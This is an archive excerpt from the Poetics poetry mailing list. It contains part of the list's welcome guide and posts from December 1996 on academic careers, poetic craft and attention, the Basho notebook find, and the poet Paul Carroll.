To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

210. Burt Kimmelman
Re: what graduate studies do
Fri 6 Dec 1996

Aldon,

Your comments about the changes in hiring and firing practices at our universities could not be more timely.

Burt

↑ Index

211. Pierre Joris
Re: Basho notebook
Fri 6 Dec 1996

Jordan Davis wrote:
>
> Speaking of what graduate studies do... anybody else hear this phantom
> report on BBC World Service that Matsuo Basho's working notebook had
been
> found in a used bookstore in Japan? That it includes any number of
> revisions, and several unpublished haiku? Kind of hard to appreciate the
> magnitude, huh? Jordan Davis

Yes indeed, Jordan, I heard that (& was going to mention it in my post re the new-found poem of Blaise Cendrars, but then forgot) & thanks for bringing it up -- the news in fact made me take down & reread that gorgeous late sixties Mushinsha/Grossman edition of Basho's OKU-NO-HOSOMICHI as translated by Cid Corman & Kamaike Susumu. The find does correspondent culturally to something like discovering the hand-written diaries of Shakespeare with first sketches of his plays...

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

↑ Index

212. **Pierre Joris**
Query
Fri 6 Dec 1996

Does anyone have an address for an outfit called *Bilingual Press*? They published a book by Rosario Castellanos called _Meditation on the Threshold_. Backchannel or as you saee fit.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

↑ Index

213. **David Zauhar**
Re: After Kampuchea....
Fri 6 Dec 1996

Ron Silliman wrote. . .

> *What makes us think we live in anything other than the dark ages?*

the glow of computer screens, TVs, malls. Not to mention TV news anchors and other seemingly eternal and non-biodegradable plastic products. our heads are up our asses, but it's artificially bright and doesn't smell too bad.

Dave Zauhar

↑ Index

214. Field of Roses
Re: Canlit query
Fri 6 Dec 1996

> *Would someone who knows it please backchannel me the listserv address of the Canlit list? I'd appreciate it.*

Just in case others may also be interested:

Canadian Literature Discussion List

[redacted]

In the body of the message:
SUBSCRIBE CANLIT-L Firstname Lastname

Linda Charyk Rosenfeld

↑ Index

215. cupslit
Re: jeff mcdaniel
Fri 6 Dec 1996

I do have Jeff McDaniel's phone number and he does live in the LA Area.....

↑ Index

216. Charles Alexander
Re: craft ... the mouse in the snake
Fri 6 Dec 1996

At 04:10 PM 12/4/96 -0700, you wrote:
>On Wed, 4 Dec 1996, Eliza McGrand- CVA Guest wrote:
>> what i have in mind by craft was captured beautifully by someone in the
>> descriptive "attentive" -- a sort of deep, intense, committed attention
>> to what is happening in the arrangement of the words, in the shaping of
>> the idea, in the tracing out of where the idea goes.
>> and a notion of "craft," as
>> in workmanship, deep attention, lifetime course of learning more, tools,
>> flexibility, respect, is such an antidote.
>

>i wont argue about the rhyming napkin bit but i think that something
>should be said for other methods of composition/construction. the
>version of craft here is only one means only one sort of process that can
>be used to create writing effects--anyone whos read kathy acker can
>attest to the strangeness of what happens there and while it does not fit
>this description of craft it nevertheless produces readerly responses.
>frank ohara is another case: many poems are occasional in just the sense
>of the napkins here mentioned--yet they are brilliant moments. perhaps i
>am just not much of a romantic humanist but the notion of an isolated
>individual toiling away at his (!) craft does not account for all the
>methods of aesthetic production in this technological age. benjamin not
>wordsworth. reproduction not authenticity.
>
>jeffrey timmons

I find nothing in Eliza's definition which would discount writers like acker or ohara. In fact, I think "attention" is a very good word to characterize much of ohara. Attention does not require isolation to be deep. In Ohara's case it often seems to be immediate, but no less stunning, as craft, in being so. I don't see anything in the definition about isolation, just about attention, commitment, care. I find such qualities absolutely present in acker & ohara.

charles alexander

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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217. **Charles Alexander**
Re: Forwarded: Sackler Archive
Fri 6 Dec 1996

At 04:08 PM 12/5/96 GMT+1200, you wrote:
>From: "Tony Green" <[redacted]>
>
>Dear Loss or Charles,
> Can you help Tony out with this address--he's off
>the List at the moment?
> Thanks.

> Wystan
>
>Hello Wystan Cd you find out for me on the Poetics list the
>addrsss of the Marvin Sackler Archive (of concrete and visual poetry
>I think it is) Florida. They used to subscribe to Splash.

Glad to help.

Note that it's Sackner, not Sackler

Ruth & Marvin Sackner Archive of Concrete and Visual Poetry
300 W. Rivo Alto Drive
Miami Beach, Florida 33139

charles alexander

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

↑ Index

218. **Charles Alexander**
Re: PHDS
Fri 6 Dec 1996

At 04:55 PM 12/5/96 BST, you wrote:
>It seems odd to me
>that creative writing postgard courses are not
>advertised ot framed as a place to experiment

I just like the typo here, I imagine intended as "postgrad"

but leading to

postcard courses

post-guard courses

post-garde courses

I like to think of a university with a course teaching/encouraging the writing of poems (or anything else in a creative vein) on postcards. That would be an academy worth supporting. And everyone should receive such postcards.

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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219. **amato**
Re: The Academic Career?
Fri 6 Dec 1996

---

tom, i think these ideas *must* be recycled, simply b/c this is the sort of conversational space that hasn't been available to discuss postsecondary ed (and so many other things)... so i'll recycle here a bit, incl. your post:

though i understand your *sentiment* re academe (being a latecomer mself), i just don't think the whole kit & caboodle should be blown-off so casually (and your remarks strike me as a bit casual), not even wrt poetry and poets... there's just too much at stake in the educational system, and i'd like to think that, even were i to leave, i would see the importance of it, whatever its problems...

i don't think the "brand of intelligence" in academe constitutes its problem... its problems, as i see them, have much more to do with structural issues, not individual personality types...

but it's in *coming to* the educational system that i think i may differ from you most significantly: i don't know your personal story, but mine has a lot to do with trying to find *somegoddamnplace* to go after years of working in industry, supporting my father, etc---a place that would provide me with a little space, is all, in which i could perhaps do something that *does* have (flypaper or no) all sorts of social significance...

learning, i mean, and helping others learn... is this not, on the surface of it anyway, a [gulp] noble profession?... while i don't (think i) endorse your ideas about "masters" or "callings" or such like, surely we can agree that learning institutions are important social institutions?...

(and btw, on a related note, academic sop here: in the past year, there's been yet another compendium of essays published on the status of academics from the working class---this is an emerging and evolving discourse... see c. l. barney dews & carolyn leste law, eds., _this fine place so far from home: voices of academics from the working class_ (temple up, 1995))...

now i don't think learning, whatever it is, is without its conflictedness (on my part, and others around here) but at the same time, i don't think that airing and confronting these difficulties, all bound up as they are with late-20th-century intellectual engagement in general, necessarily means that they're somehow less important... i really did get this feeling reading over your post, tom... i mean, just 'cause us academics, aspiring profs. or whatever, got all sortsa problems with our institutions and are willing to discuss same is no reason (WHATEVER one's personal history) to suggest we're necessarily better off seeking gainful employment elsewhere...

i mean, if you're talking survival, well then sure... but if you're talking social value, well then i'm not so sure... if you're lucky enough to get a decent teaching job, why then why not? (and to reiterate what aldon sd---there's a real need for more profs in english---if only we could do away with the logic of writing courses capped at 35 students)...

in any case, i've spent some real time elsewhere, in another part of the real world, which was no more real than academe---in some ways it was better, in some worse... it was different, and from day 1 through day 2600 or so, not for me (though i did my best)... this is part of "my story"... and this elsewhere -- i often found it none too pleasant or redeeming---albeit i'll grant, again, that academe is no model community...

best,

joe

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220. Aldon L. Nielsen
Re: bad news all over
Fri 6 Dec 1996

Just read a ref. to Howard Winant being in a coma -- this was in a just-published book -- so , knowing how long it takes to get out a book -- I'm hoping that he is back in good health now -- Does anyone on this list know anything about this????

Marjorie -- would be pleased to add my name to any message of the sort you contemplate -- Maybe we should circulate something during MLA -- latest news makes it look as if Serb. govt. & Clinton will come to an agreement about just how oppressive they can be --

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221. Ward Tietz
Re: Sackner Archive
Fri 6 Dec 1996

Here's the address I have for the Sackner archive:

Ruth and Marvin Sackner Archive of Concrete and Visual Poetry
300 West Rivo Alto Drive
Miami Beach, Florida 33139

Ward Tietz

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222. Michael Boughn
query
Fri 6 Dec 1996

Is everybody on the list now subject to this holding-the-message business? Does this mean that we now get our mail doled out to us once a day after Charles has released it? Or is it just me?

Quizically,
Mike
[redacted]

PS: maybe we should change the list name from Poetics to Disgruntled Grouchy Professors.

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223. dbkk
Re: Another killer poet
Fri 6 Dec 1996

At 11:40 AM 12/5/96, JNORTON.US.ORACLE.COM wrote:

> *In the early 1960s she took up poetry and decided to wear blue exclusively. She began using the name "Blue" or "Janice Blue."*
>
> *"I wear only that color," she wrote in the 1970s. "It is my aspect and my slant in life as in poetry."*

This is an understatement. I moved to San Francisco during the height of JB's celebrity. My boyfriend at the time was a street artist at Fisherman's Wharf, an occupation I found very romantic (but he didn't, he never said the word "tourist" without prefacing it with the word "fucking". I remember one day when he and I were hanging out in North Beach, this woman walked by, tall in

my memory, with large white-blonde hair, and this day-glo royal blue knee-length cape and hat to match. Bruce said to me in a very un-Bruce-like, awelike manner, "That's Janice Blue."

I never knew anything about her poetry. I'd just occasionally see her on the streets and stop in my tracks, dazed.

Dodie Bellamy

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224. **groberts**
poetry in transit
Fri 6 Dec 1996

Does anyone know much about the origins of the poetry-placards which occassionally appear in subways and buses, a la Poetry in Motion, that has made its way to Boston via NYC? I remember that a similar public-display venture appeared in Chicago buses in the mid-80s, and have heard that the practice began in San Francisco sometime in the 70s. I first was glad to see them, now I am less so, probably because their intentions seem disingenuous. Do they grease the wheels of commerce? Yes. Do they work for the well-being of commuters? I don't know.

Interesting how these short poems, and more often fragments of poems, accompanied by their pseudo-funky visual layout, work in terms of the textual rhetoric of mass transporation space. "Space" can be a product of actions, as opposed to an already given environmental situation, and the act of reading is one of the primary ways to create it. The poems define a space inside the moving compartment, one in which fantasy is licensed. They seem to want to provide a meditative focus for passengers: it's poetry to stare at, which validates the official adminstration of privacy. My inclination is to think that the poems, sandwiched between ads, are intended to be considered in light of their context. What are those ads usually? Around here, many for vocational schools, and public-interest reminders. The poems then are a kind of counter-point to the utter usefulness of the adjacent texts; the poems are supposedly ends in themselves. Of course the trip is not. But the supposed mystery of the mass-trans. poems, even when they themselves ostensibly deny aesthetic autonomy and suggest collaborative action, requires passengers to read into their compartment a textual space that is predicated on uselessness. This uselessness does not seem related to graffiti, but in contradiction to it. And that contradiction seems to me to be a wearying struggle over inscribed space in which commuters are unwitting agents. But then again, maybe the little poems relieve stress and keep one going forward...

Gary R

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225. **dbkk**
Re: taste again, and a long story, and more
Fri 6 Dec 1996

At 9:11 PM 12/5/96, Patrick Foley wrote:

> *(The university library where I used to go to school had what may have been a complete set of Robert Peters's volumes of criticism, The Great American Poetry Bake-off series. I used to pore over those even though I liked a lot that he skewered and didn't get a lot that he praised to the skies. But I liked his freshness. (Anybody read any of this stuff? I haven't read any of his poems.) I liked his resistance to reputation, the way he seemed to read each book, even or especially by poets he had praised in the past, as if it had arrived anonymously on his desk. Not that he could, but he seemed to be able to calibrate his filters to screen out the reputation. I still remember those books. That's a critic.)*

Robert Peters has shown his blind spots as well. I remember him causing quite a fury among the editors of _How(ever)_ when he wrote of them somewhere (this is such old gossip I can't remember the specifics) something like:

"What do these ladies talk about as they sit around sipping tea."

I once went to a performance of his Countess Bathory piece (the great female vampire prototype) and he picked me out of the audience to be the young virgin and proceeded to direct much of his overtop campy performance directly at me. Though I felt this was an honor of sorts, I wanted to crawl under my chair.

Dodie Bellamy

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226. **Jeffrey W. Timmons**
Re: craft ... the mouse in the snake
Fri 6 Dec 1996

On Fri, 6 Dec 1996, Charles Alexander wrote:

> *I find nothing in Eliza's definition which would discount writers like acker or ohara. In fact, I think "attention" is a very good word to characterize much of ohara. Attention does not require isolation to be deep. In Ohara's case it often seems to be immediate, but no less stunning, as craft, in being so. I don't see anything in the definition about isolation, just about attention, commitment, care. I find such qualities absolutely present in acker & ohara.*

well we read it differently. ill agree that there is nothing to discount the writers mentioned--only there is a qualitative difference not only implied but stated in her post about the ontological difference of aleatory/other writing and "craft" it seemed to me. no attention does not require isolation to be deep--but there was a residual romanticism in her account of the poet/writer that just seems incompatible with postmodern technologies of writing. i dont think we disagree--just a matter of attending to subtle shadings of meaning in her post. perhaps i should/could have excerpted her comments to more effect. nevertheless....

in nullius verba

jeffrey timmons

↑ Index

227. **Rachel Blau DuPlessis**
Re: after this
Fri 6 Dec 1996

---

no it was Adorno.

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228. **robert zamsky**
Re: PHDS
Fri 6 Dec 1996

I read it 'post-garde' too, and loved it all the more for it.
>
> At 04:55 PM 12/5/96 BST, you wrote:
> >It seems odd to me
> >that creative writing postgard courses are not
> >advertised ot framed as a place to experiment
>
> I just like the typo here, I imagine intended as "postgrad"
>
> but leading to
>
> postcard courses
>
> post-guard courses
>
> post-garde courses
>
> I like to think of a university with a course teaching/encouraging the

> writing of poems (or anything else in a creative vein) on postcards. That
> would be an academy worth supporting. And everyone should receive such
> postcards.
>
> charles
>
>
> ----------
> get off my back. the future fields into which I write are
> unimaginable. I do not know, any more than you do, what is
> around me, nor how far to go, nor precisely what I leave behind.
>
> --Beverly Dahlen
> from A Reading 8 - 10
> published by Chax Press
> ----------
>

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229. **Kali Tal**

Re: -cowboys

Fri 6 Dec 1996

> *I think the western was going strong in the 60s. I mean in the Viet Nam war, as itr is called. The US guys didnt take scalps but they took ears. They called the enemy-filled place Apache country, etc etc.*

George is quite right about everything except the term "Apache Country," which was actually "Indian Country." For an amazing rundown of how many American soldiers died playing "Shootout at the OK Corral" with real pistols, check out Bill Gibson's _The Perfect War: Technowar in Vietnam_. (This is *not* the William Gibson of _Neuromancer_ fame.) I've read about eight hundred Viet Nam war novels and personal narratives and I can't think of a single one that *doesn't* mention John Wayne.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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230. **William Slaughter**
Re: paul carroll...
Fri 6 Dec 1996

I don't have Paul Carroll's poems at hand as I write this, but I do have both books that Joe mentions below: _the poem in its skin_ and _the young american poets_.

the poem in its skin is still one of my favorite books about poetry. I could wish somebody would bring it back into print. I'd see to it that my students knew it. It was a Big Table book, as was _the young american poets_. Big Table: from Carroll's student days at the University of Chicago when he took the material he had collected, as editor, for an issue of the _Chicago Review_ (including some early Ginsberg & co,) off campus under that name when the administration moved to censor it.

What Carroll does, in _the poem in its skin_, is read in a quite wonderful way one poem by each of several poets: Ashbery? Leaving the Atocha Station, Creeley/ A Wicker Basket, Dickey (James)/The Heaven of Animals, Gardner (Isabella)/The Widow's Yard, Ginsberg/Wichita Vortex Sutra, Logan (John, who was my teacher at the University of Washington in the middle 60s, before Buffalo)/A Century Piece for Poor Heine, Merwin/Lemuel's Blessing, O'Hara/The Day Lady Died, Snodgrass/April Inventory, and Wright (James)/As I Step Over a Puddle at the End of Winter, I Think of an Ancient Chinese Governor...and a long general essay called "Faire, Foul and Full of Variations: The Generation of 1962." -the poem in its skin_ was published in 1968.

the young american poets includes: Vito Hannibal Acconci, George Amabile, Jon Anderson, Roger Aplon, James Applewhite, Gerald William Barrax, Marvin Bell, Michael Benedikt, Bill Berkson, Ted Berrigan, Randy Blasing, Harold Bond, Michael Brownstein, Tom Clark, Clark Coolidge, Jonathan Cott, Kenward Elmslie, Kathleen Fraser, Louise Gluck, Robert Hass, Philip Hey, William Hunt, Ronald Johnson, Robert Kelly, Richard Kostelanetz, John L'Heureux, Lou Lipsitz, Lewis Mac Adams, Gerald Malanga, Morton Marcus, Jack Marshall, Howard McCord, John Morgan, David Mus, Ron Padgett, John Perreault, Saint Geraud, Aram Saroyan, Peter Schjeldahl, Dennis Schmitz, Charles Simic, Kathleen Spivac, Mark Strand, James Tate, Sotere Torregian, Tony Towle, Alden Van Buskirk, Allen Van Newkirk, Julia Vinograd, Diane Wakoski, Anne Waldman, Lewis Warsh, James Welch, and Tyner White. _the young american poets_ was published in 1968 too.

I have a poem of his in mind: "Father." Which I really like. I don't have my copy of Donald Allen's Grove Press NAP Anthology, 1945-60, at hand (either) as I write this, but I seem to remember that "Father" was in it.

Author: Carroll, Paul
Title: New and Selected Poems
Publisher: Yellow Press
Year: 1978
ISBN/Price: 0-916328-11-2 Trade Cloth $7.95
0-916328-10-4 Trade Paper $3.50
Subj (Forth): POETRY-POETIC-WORKS-BY-ONE-AUTHOR
Subj (Pbk): LITERATURE-POETRY-GENERAL

Is apparently still in print and available, although I haven't seen it. I never met Carroll, only admired his work as critic, poet, and anthologist from a distance. I didn't read the piece in the Chicago Trib Magazine that Joe refers to. If Paul Hoover is out there, reading this, or others who knew Carroll, perhaps he/they'd be willing to add to this. I'd like to know more, too, about his life and work.

Bill

William Slaughter

_____
[redacted]

On Wed, 4 Dec 1996 [redacted] wrote:

> *just read a poignant tribute in the chicago trib. magazine, "for paul: appreciating a fallen poet who led a brief revival of the art," by barry silesky, about the poet paul carroll, who evidently died last summer... it mentions that paul hoover (hi paul and maxine! if you're out there) was a student of carroll's, and i'm just wondering if anybody is familiar with his work... the article mentions that in 1968, carroll wrote _the poem in its skin_, and "edited a major anthology, _the young american poets_, which came to be the first major publication for many of its since-famous contributors"... anyway, just trying to get a grip on paul carroll's poetry...*
>
> *joe*

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231. Eliza McGrand- CVA Guest
Re: craft ... the mouse in the snake
Fri 6 Dec 1996

hi jeffrey and charles. am not sure why it would be presumed that i discount acker and o'hara ("The Day Lady Died" makes me weep). any writer has what maxine kumin has called "donnees" (french -- accent on 2nd "e"), the "given" poems that blaze out suddenly. but they come from ATTENTION. from

working, keeping muscles limber. cocktail napkin poetry comes from profound inattention, disinterest. it arises from need of its author to prove how Brilliant/Witty/ Profound/(etc...) he/she is; fixed attention on posturing only. that is not "craft," serious and engaged work, where some idea or thing being giving focused attention and analysis through shaped phrases, images, and lines. good lord, acker is one of the most "attentive" writers i know -- she writes from such an extraordinary focus -- seems both to hold a massive amount of information/text/ social exchange, on idea in her head (gently, firmly both) and to focus inward on her own unique path of thought and technique. dazzling.

by "isolation," am sketching a counterpoint to the great Creative Writing Program debate. on the one hand, i can see a solid use to creative writing programs, but on the other, many many fine writers came to their craft WITHOUT such programs, without living "mentors" (god i hate that word. entrepreneur. inappropriate. accompany this with sounds of cats retching out hairballs.).

when i see a wretched, meter-stumbling, ill-spelled (like i should talk...) patchwork of cliches with a few glistening images, i think of the good a decent creative writing program could do the writer. but when i see a homogenized, politically/old-boys Certified offering produced by a CWP grad that takes no risks, hasn't much of anything to say but "oh look at me and my dreadfully sensitive delicacy" noise, i wish that writer had spent more time trying to please their ability and preoccupations, and less time trying to please a writing class and Famous Poet(s). i've also read good work written from both approaches.

in other words, am sitting on the fence on this, but tipped, at present, more towards writing from one's own impulses/energy with some input from a few friends than toward writing programs and workshops. the writer in isolation, by themselves, notion gets overused and badly interpreted in a melodramatic, self-indulgent way. but at certain points (and maybe for some writers it is necessary for the whole of their writing life), separation from popular literary opinion and direction can be fertile ground.

i am going to disneyworld for four days (trip is a gift - could never buy such a thing) and it is snowing like anything here -- there is something surreal, possibly decadent, about packing swimsuits in a blizzard... perhaps i will write some "post gardes," perhaps sulk alone at poolside and read byron (disgruntledly) ...

e

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232. Nada Gordon
teacher/laborers +basho
Sat 7 Dec 1996

Aldon Nielsen wrote

> *One of two things is going to happen if we do not succeed in making significant political changes with regard to education issues soon -- either the right will succeed in privatizing higher education and rationing the goods (and you can guess who will get the goodies under that scenario) -- or "liberals" will reach a compromise under which higher education will be offered to larger numbers of students using a labor force of MOSTLY part-time and untenured faculty --*

The latter trend is now occurring here in Japan -- not as a compromise but rather an imposed condition. Over the past several years, the vocational school at which I am a full-time teacher has been offering hefty "resignation incentive packages" to get full-time teachers to leave, while at the same time hiring new teachers on 3-month temporary contracts (at almost a third of the salary of some of the senior teachers). Our school is now threatening massive layoffs, a move which would decimate our union. We are on the brink of serious confrontation with the administration. As a union composed mostly of "foreigners", we are considered eminently expendable.

This is clearly an international rhyme to the situation in American universities and in labor trends in general.

I have found my life here an interesting option to both the vicious small pond of academia and the thrilling life of an entrepreneur that Tom describes. I get to *nobly* create the conditions for learning to take place while staying away from the pinata scramble that I guess y'all will see at the MLA. But Japan is no longer the safe haven/gold mine it once was. The bubble has burst and ruthless Simon Legree capitalism now holds sway.

So Tom, does that job offer still hold?

nada

p.s. Basho's notebook has been on TV a lot lately, lovingly fondled by scholars turning the pages of spidery writing...an inspiring reminder that sometimes you just have to wrap the things you need in a small piece of cloth, put on your straw sandals, and walk the narrow road into the interior

p.p.s. any political advice gladly welcomed

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233. **Aldon L. Nielsen**
Re: The Academic Career?
Sat 7 Dec 1996

Taking a direction opposite to much of what I saw in the 80s, I moved FROM working with computers TO teaching English -- Can't say that I saw a demonstrably higher level of morality and/or intellect among the off-campus professional with whom I worked --

(But then, a goodly number of the people I met at Wand in the early 80s were former history grad. students -- fleeing a field that had it, even, worse than English -- Wang proved not to be the best first choice for a second career)

Can't see that there is an appreciably higher level of venality among the professoriat of the beaneries than among the bean counters of business --

In fact, I had already moved from being a campus cop to working with computers -- even with a cop's view of campus it didn't seem to me that academia was any worse a place to work than elsewhere --

BTW -- anybody for the theory that the author of _Aerial and the Police_ really wanted to BE the police all along?

"Wand" -- "Wang" about as useful either way --

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234. **Jordan Davis**
expectation / attention
Sat 7 Dec 1996

This attention to "attention" is giving me serious pangs of echo, wow, sunrise! Mike Boughn's essays on Williams' prosody (thanks for sending them, Mike) contrast the variable foot (which he appreciates precisely as something like an 'elastic inch' -- comparing Williams to Einstein -- nice trope Mike) with earlier metrics .. he says the old way was a "poetics of expectation" and the new way is a "poetics of attention" -- just to bring some terms in ... J Davis

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235. **tmandel**
life on the aka deme
Sat 7 Dec 1996

Joe Amato's take and my own differ structurally. I came to the academy early and easily, just moved along into it. I had no trouble getting a job and no trouble seeing that I would continue having no trouble getting such jobs (that "seeing" was done by a very young fellow and would doubtless have been

proved inaccurate and callow as most such is, but it was also clear. There were no barriers to entry, as we say in business, into this market).

Fortunately for the future, I'm essentially uninstitutionalizable -- not a boast, it's just my character. Perhaps just social genes (all my forebears were poets and peddlers) or from the Holocaust which claimed the greater part of my family -- those who survived did not communicate an impulse to trust institutions.

Hence, when I find myself working in an institutional context, I usually kick at the pricks and either quit or get fired. When I am identified as part of a group, I usually do something to undercut that identification. Right now, my friends in the academy are about to land in Washington DC where I live. Hence, no doubt, my animadversions on their career -- sorry, no hard feelings? I still love you.

Now, that *was* glib, the last two sentences I mean. But my previous suggestions were not. No institution takes itself with quite the overdose of seriousness of the academy.

Joe mistakes my position if he thinks me critical of either "learning" or "teaching." Only I think less of it goes on in academic institutions than (apparently) he does, and more of it goes on at the gas station and in the check-out counter than (apparently) he does. How many on this list understand how fuel injection works? What the structure is of an upholstered piece of furniture? What's under the street you are walking on? How a shoulder is set into a sportcoat? Oh yes, how much learning went on in the Mathiesson class Pat Foley narrates? What became of those narrow grad students who couldn't hear Crane? They are teaching you today or taught your teachers.

Terms like "master" and "calling" I use *precisely because* they are unfashionable (taste-less in another thread) -- this means they will have some communicative force. Unlike, for example (and forgive me in advance, Joe) "late-20th-century intellectual engagement" and "social value."

Let me teach: if you don't have a model of the world you don't have an intellectual position. Your job is not a matter of survival. I didn't suggest that you "should seek gainful employment elsewhere." When you castle, leave an escape for the king.

(You know who the king is? What escape means?)

amicalement,

Tom

****

Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]

vox: [redacted] * fax [redacted]
****

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236. Michael Boughn
Wild taste
Sat 7 Dec 1996

A last word on that totally frustrating taste thread.

I read Wystan's post as being concerned with the relation of reading to poetics, as trying to locate the dynamic that characterizes the transformation of reading into a poetics. The unfortunate word he chose to name that dynamic was taste--it could just as easily have been Castaneda's word, "heart", or Freud's word , "cathexis". All of them indicate a dynamic in which the text grabs your attention and leads you beyond yourself into a world charged with orders of meanings out of which poetry arises.

The response to Wystan's position was to beat him over the head with Academic Master Narratives which explain all literature in a single jargon laden paragraph, as if "taste" had some essential, unchanging meaning, so you could just put the boots to it whenever you saw it without having to ask what it meant, how it was being used (Wittgenstein 101).

Personally, I could care less about explaining literature. Having a poetics, however, as Jack Clarke used to point out, is a matter of life and death. And this is a list purportedly dedicated to discussions of poetics.

Mike
[redacted]

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237. Pete Landers
Awesome Site
Sat 7 Dec 1996

Hi all,

Look what Karl Young's been up to! Wonderful!
http://www.thing.net/~grist/l&d/lighthom.htm

Pete Landers

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238. **amato**
Re: paul carroll...
Sat 7 Dec 1996

---

thanx bill for that information, very useful!... yes, part of "father" is excerpted in the trib. piece (and mention is made of carroll's last volume, _the beaver dam road poems_)... i wasn't aware that "father" was in the allen anthology (the sole carroll poem there), and am typing this post after having just read it... pretty tough piece, with a great sense of place (here, where i type---chicago)... anyway, i'll be spending some time in the library shortly to try to locate more of carroll's work...

best,

joe

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239. **william marsh**
contingent faculty, etc.
Sat 7 Dec 1996

Joe,

Thanks for your remarks, which do, in fact, reflect many of my recent concerns about teaching in general, concerns amounting to something of a crisis that has lead me to consider, quite seriously some days, finding "something else to do", to use Tom Mandel's words in a parallel post. Specifically:
>
>for example: when you suggest that you're really not quite sure you *want*
>to be part of the professoriate, what i hear is both a critique of the
>current state of the professoriate (which is fine) AND an endorsement of
>the "contingent" workforce that, as i see it, is symptomatic of broader
>economic realities (which is, well, not so fine)...

not intended so much as an endorsement, although i see your point -- i certainly don't endorse the "broader economic realities" of which "contingent" work is a symptom, and agree that efforts should be made to change those realities so that the academic interests you mention don't find it so easy to "push us around". My primary intention, though, in posting my response to Mark Wallace was not so much to sidestep those realities or endorse the contingent workforce, but rather to suggest that there is work available for graduates who want to teach English at the college level. You're correct to challenge me on the issue of "what happens to teaching--in the classroom" when educational administrators know they have this contingent faculty to manipulate. The other

version of this question would be "what happens to teachers" when trying to negotiate this current reality, and how do they sustain any instructional zeal they may have entered the field with when faced with the often debilitating influence of administrative manipulation. These are questions i'm currently asking myself as well.

I can say that in my classroom the problem is paramount, for me as a teacher who loves teaching, loves writing, and i have multiple solutions that remain, no pun intended, contingent--ie, i take care to maintain, and articulate to the students, a certain honesty about (1) my interests and motivations as an educator and (2) the student's own motivations--both in terms specific to the nature of the situation we *all* find ourselves in in any given class, since generally, we're all being administered, not just the teacher. I'm not so sure the students i've met are "returning less b/c they want an education and more b/c they want a *credential*," as you put it (perhaps i gave the wrong impression), but in any event i try to make it clear that the latter is not really an option anyway. In other words, it becomes a matter sometimes of "teaching what it means to learn," and this usually creates a foundation on which learning becomes possible. Could this be one of the ways in which we (students and instructor alike) resist the "colonizing" mechanism you speak of?--by saying/doing something to re-orient motivations in such a way that classroom experiences are not just economic exchanges between an exploited fringe worker and a colonized student sub-set, but genuine group involvements, in the way i've traditionally wanted the experience to be? I would certainly agree that a teaching position "keyed to vocationalizing or credentializing objectives" is not a favorable position, for the part- or full-timer, and it's this characterization that i resist in both your post and the academic environment i currently inhabit.

what's wrong with an approach to writing,
>specifically, that isn't, again, functionalized in terms of "effective
>communication" and the like?...

Nothing, of course, and i don't think i suggested there was -- it's an approach i work hard to take, but since i work for an institution which does functionalize it in these terms, the teaching is problematized in the way i speak of generally above. Hence, the crisis.

Again, i appreciate your taking me to task on these deeper issues, which i decided not to bring up not because i was sidestepping, but rather because, as i think i intimated at the conclusion of my first post, i'm not really sure how to measure them. Of course intellectual life as a "contingent faculty" instructor is not all that appealing, in the end, but perhaps the way to initiate the changes

you call for is first to make it work for the worker, the exact process for which, again, has not been discussed all that much, at least not from my point of view.

I could say more, but have said enough. Others?

Bill Marsh

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240. Joel Kuszai
Re: query
Sat 7 Dec 1996

Mike and all out there on the Listserver Prarie,

